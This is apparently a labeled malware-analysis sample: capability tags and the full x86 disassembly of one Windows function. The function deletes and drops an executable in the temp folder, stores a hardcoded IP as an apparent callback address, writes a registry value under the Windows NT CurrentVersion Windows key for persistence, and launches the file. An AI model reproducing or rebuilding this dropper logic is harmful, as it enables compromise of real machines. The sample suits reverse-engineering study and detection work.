Function at 0x40185a
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Get file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1c4c
call fcn.004163a0
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x206
xor ebx, ebx
push esi
lea eax, [ebp - 0x3ce]
push ebx
push eax
mov word [ebp - 0x3d0], bx
call fcn.00408c60
add esp, 0xc
push esi
lea eax, [ebp - 0xdf6]
push ebx
push eax
mov word [ebp - 0xdf8], bx
call fcn.00408c60
add esp, 0xc
push esi
lea eax, [ebp - 0xbee]
push ebx
push eax
mov word [ebp - 0xbf0], bx
call fcn.00408c60
add esp, 0xc
push 7
pop ecx
xor eax, eax
mov word [ebp - 0x24], bx
lea edi, [ebp - 0x22]
rep stosd dword es:[edi], eax
push 0x7e
stosw word es:[edi], ax
lea eax, [ebp - 0x146]
push ebx
push eax
mov word [ebp - 0x148], bx
call fcn.00408c60
add esp, 0xc
push 0x7e
lea eax, [ebp - 0xc6]
push ebx
push eax
mov word [ebp - 0xc8], bx
call fcn.00408c60
add esp, 0xc
push 0x7e
lea eax, [ebp - 0x1c6]
push ebx
push eax
mov dword [ebp - 0x1c3c], ebx
mov word [ebp - 0x1c8], bx
call fcn.00408c60
add esp, 0xc
push esi
lea eax, [ebp - 0x7de]
push ebx
push eax
mov dword [ebp - 0x1c34], ebx
mov word [ebp - 0x7e0], bx
call fcn.00408c60
add esp, 0xc
push 7
pop ecx
xor eax, eax
mov word [ebp - 0x44], bx
lea edi, [ebp - 0x42]
rep stosd dword es:[edi], eax
push 0x200
stosw word es:[edi], ax
lea eax, [ebp - 0x17f8]
push ebx
push eax
mov dword [ebp - 0x1c38], ebx
mov dword [ebp - 0x1c4c], ebx
call fcn.00408c60
add esp, 0xc
push 1
lea edi, [ebp - 0x17f8]
call fcn.00408a9b
pop ecx
push ebx
lea edi, [ebp - 0x1c30]
mov dword [ebp - 0x1c44], eax
call fcn.00408a9b
mov dword [ebp - 0x1c48], eax
mov dword [esp], 0x104
lea eax, [ebp - 0xdf8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [ebp - 0x1c44], ebx
je 0x401beb
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x24]
push 0x10
push eax
call fcn.00409195
add esp, 0xc
lea ebx, [ebp - 0x3d0]
lea edi, [ebp - 0x1650]
call fcn.00402fd6
mov ebx, edi
call fcn.00401710
cmp eax, 1
jne 0x4019f3
xor eax, eax
jmp 0x402100
xor edi, edi
push esi
lea eax, [ebp - 0x5d6]
push edi
push eax
mov word [ebp - 0x5d8], di
call fcn.00408c60
add esp, 0xc
push esi
lea eax, [ebp - 0x9e6]
push edi
push eax
mov word [ebp - 0x9e8], di
call fcn.00408c60
add esp, 0xc
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x5d8]
push eax
call fcn.00408d34
lea eax, [ebp - 0x1650]
push eax
lea eax, [ebp - 0x9e8]
push eax
call fcn.00408d34
lea eax, [ebp - 0x9e8]
push str._STOP
push eax
call fcn.00408d0a
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
add esp, 0x18
lea eax, [ebp - 0x5d8]
push eax
push edi
mov ebx, 0x20000
push ebx
call esi
cmp eax, edi
je 0x401ac8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x9e8]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x1c34], edi
jmp 0x401ab9
cmp dword [ebp - 0x1c34], 5
jge 0x401ac8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0x1c34]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x5d8]
push eax
push edi
push ebx
call esi
cmp eax, edi
jne 0x401a98
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x3d0]
push eax
call ebx
lea eax, [ebp - 0x3d0]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x3d0]
push esi
push eax
call fcn.00408d82
add esp, 0xc
mov edi, str..exe
push edi
lea eax, [ebp - 0x3d0]
push esi
push eax
call fcn.00408d82
lea eax, [ebp - 0x3d0]
add esp, 0xc
push eax
call fcn.00409cbb
test eax, eax
pop ecx
jbe 0x401b72
lea eax, [ebp - 0x3d0]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401b72
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x1a08]
push eax
call fcn.00408d34
push edi
lea eax, [ebp - 0x1a08]
push esi
push eax
call fcn.00408d82
add esp, 0x14
lea eax, [ebp - 0x3d0]
push eax
call ebx
lea eax, [ebp - 0x1772]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408d34
lea eax, [ebp - 0x17f4]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00408d34
movzx eax, word [ebp - 0x1774]
mov dword [ebp - 0x1c3c], eax
lea eax, [ebp - 0x1752]
push eax
lea eax, [ebp - 0x1c8]
push eax
call fcn.00408d34
movzx eax, word [ebp - 0x16d2]
mov dword [ebp - 0x1c34], eax
mov eax, dword [ebp - 0x1630]
mov dword [ebp - 0x1c38], eax
lea eax, [ebp - 0x1670]
push eax
lea eax, [ebp - 0x44]
push 0x10
push eax
call fcn.00409195
add esp, 0x24
jmp 0x401c9e
cmp dword [0x4230a0], 3
jne 0x401ca0
push 0x236
lea eax, [ebp - 0x1a30]
push ebx
push eax
call fcn.00408c60
add esp, 0xc
lea edi, [ebp - 0x1a30]
call fcn.004035af
cmp eax, ebx
mov dword [ebp - 0x1c4c], eax
je 0x401ca0
lea eax, [ebp - 0x1922]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408d34
mov edx, dword [ebp - 0x192a]
lea esi, [ebp - 0xc8]
call fcn.00402d4d
movzx eax, word [ebp - 0x1926]
mov edx, dword [ebp - 0x1930]
lea esi, [ebp - 0x1c8]
mov dword [ebp - 0x1c3c], eax
call fcn.00402d4d
movzx eax, word [ebp - 0x192c]
mov dword [ebp - 0x1c34], eax
push 4
lea eax, [ebp - 0x1a28]
push eax
lea eax, [ebp - 0x1c38]
push eax
call fcn.00408e30
add esp, 0x14
lea eax, [ebp - 0x1902]
push eax
lea eax, [ebp - 0x24]
push 0x10
push eax
call fcn.00409195
add esp, 0xc
xor ebx, ebx
cmp dword [ebp - 0x1c48], ebx
mov esi, 0x41dc80
je 0x401d7b
lea eax, [ebp - 0x1baa]
push eax
lea eax, [ebp - 0x148]
push eax
call fcn.00408d34
lea eax, [ebp - 0x1c2c]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00408d34
movzx eax, word [ebp - 0x1bac]
mov dword [ebp - 0x1c3c], eax
lea eax, [ebp - 0x1c8]
push esi
push eax
call fcn.00408d34
movzx eax, word [ebp - 0x1b0a]
add esp, 0x18
cmp dword [0x4230a0], 3
mov dword [ebp - 0x1c34], eax
mov dword [ebp - 0x1c38], 5
lea eax, [ebp - 0x7e0]
mov edi, 0x104
je 0x401d29
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x401d46
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc40
lea eax, [ebp - 0x7e0]
push edi
push eax
call fcn.00408d82
add esp, 0xc
lea eax, [ebp - 0x7e0]
push eax
lea eax, [ebp - 0xbf0]
push eax
call fcn.00408d34
push str.golfset.ini
lea eax, [ebp - 0xbf0]
push edi
push eax
call fcn.00408d82
add esp, 0x14
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x200
lea eax, [ebp - 0x17f8]
push ebx
push eax
call fcn.00408c60
add esp, 0xc
lea eax, [ebp - 0x17f4]
push str.218.54.31.165
mov edi, 0x504d534d
push eax
mov dword [ebp - 0x17f8], edi
mov word [ebp - 0x1774], 0x51
call fcn.00408d34
lea eax, [ebp - 0x1752]
push esi
push eax
mov word [ebp - 0x16d2], 0x2b66
call fcn.00408d34
lea eax, [ebp - 0x1772]
push str.AAAA
push eax
call fcn.00408d34
add esp, 0x18
cmp dword [ebp - 0x1c44], ebx
mov dword [ebp - 0x1630], 5
jne 0x401e01
cmp dword [ebp - 0x1c4c], ebx
jne 0x401e01
cmp dword [ebp - 0x1c48], ebx
je 0x401e7f
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x1772]
push 0x10
push eax
call fcn.00409195
add esp, 0xc
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x17f4]
push 0x40
push eax
call fcn.00409195
mov ax, word [ebp - 0x1c3c]
mov word [ebp - 0x1774], ax
add esp, 0xc
lea eax, [ebp - 0x1c8]
push eax
lea eax, [ebp - 0x1752]
push 0x40
push eax
call fcn.00409195
mov ax, word [ebp - 0x1c34]
mov word [ebp - 0x16d2], ax
mov eax, dword [ebp - 0x1c38]
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1630], eax
jne 0x401e7f
mov dword [ebp - 0x1630], 5
lea eax, [ebp - 0x1752]
push esi
push eax
call fcn.00408d34
cmp word [ebp - 0x17f4], bx
pop ecx
pop ecx
je 0x4020fd
cmp word [ebp - 0x1774], bx
jbe 0x4020fd
mov dword [ebp - 0x17f8], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408dfc
mov dword [esp], 0x7fe
lea eax, [ebp - 0x15f6]
push ebx
push eax
mov word [ebp - 0x15f8], bx
call fcn.00408c60
add esp, 0xc
cmp word [ebp - 0x16d0], bx
jne 0x401f12
lea eax, [ebp - 0x15f8]
push eax
push 6
push 5
pop esi
push esi
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
push 0x10
pop edi
lea eax, [ebp - 0x16d0]
push edi
push eax
call fcn.00409195
add esp, 0xc
jmp 0x401f18
push 5
pop esi
push 0x10
pop edi
cmp word [ebp - 0x16b0], bx
jne 0x401f4a
lea eax, [ebp - 0x15f8]
push eax
push 6
push esi
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x16b0]
push edi
push eax
call fcn.00409195
add esp, 0xc
cmp word [ebp - 0x1670], bx
jne 0x401f7c
lea eax, [ebp - 0x15f8]
push eax
push 6
push esi
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1670]
push edi
push eax
call fcn.00409195
add esp, 0xc
cmp word [ebp - 0x1650], bx
jne 0x401fd0
lea eax, [ebp - 0x15f8]
push eax
push 6
push esi
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1650]
push edi
push eax
call fcn.00409195
lea eax, [ebp - 0x24]
add esp, 0xc
push eax
call fcn.00409cbb
test eax, eax
pop ecx
jbe 0x401fd0
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x1650]
push edi
push eax
call fcn.00409195
add esp, 0xc
lea eax, [ebp - 0x44]
push eax
call fcn.00409cbb
test eax, eax
pop ecx
je 0x401ff2
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x1690]
push edi
push eax
call fcn.00409195
add esp, 0xc
cmp word [ebp - 0x1690], bx
jne 0x402024
lea eax, [ebp - 0x15f8]
push eax
push 6
push esi
call fcn.0040288d
add esp, 0xc
lea eax, [ebp - 0x15f8]
push eax
lea eax, [ebp - 0x1690]
push edi
push eax
call fcn.00409195
add esp, 0xc
cmp dword [ebp - 0x1630], ebx
mov dword [ebp - 0x162c], 0x10001be
jne 0x40203c
mov dword [ebp - 0x1630], esi
lea eax, [ebp - 0x17f8]
push eax
call fcn.00408b25
test eax, eax
pop ecx
je 0x4020fd
lea ebx, [ebp - 0x3d0]
lea edi, [ebp - 0x1650]
call fcn.00402fd6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408dfc
pop ecx
push 0x32
push 0x64
pop eax
call fcn.0040285f
pop ecx
mov ecx, ebx
push ecx
lea ecx, [ebp - 0xdf8]
push ecx
call fcn.004017a9
pop ecx
pop ecx
lea eax, [ebp - 0x1c40]
push eax
push 3
xor esi, esi
push esi
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
push connect
mov dword [ebp - 0x1c40], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4020e6
mov eax, ebx
push eax
call fcn.00409cbb
pop ecx
lea eax, [eax + eax + 2]
push eax
mov eax, ebx
push eax
push 1
push esi
push 0x41dd54
push dword [ebp - 0x1c40]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4020e6
push dword [ebp - 0x1c40]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push esi
push 0x41ddcc
lea eax, [ebp - 0x3d0]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c4c
leave
ret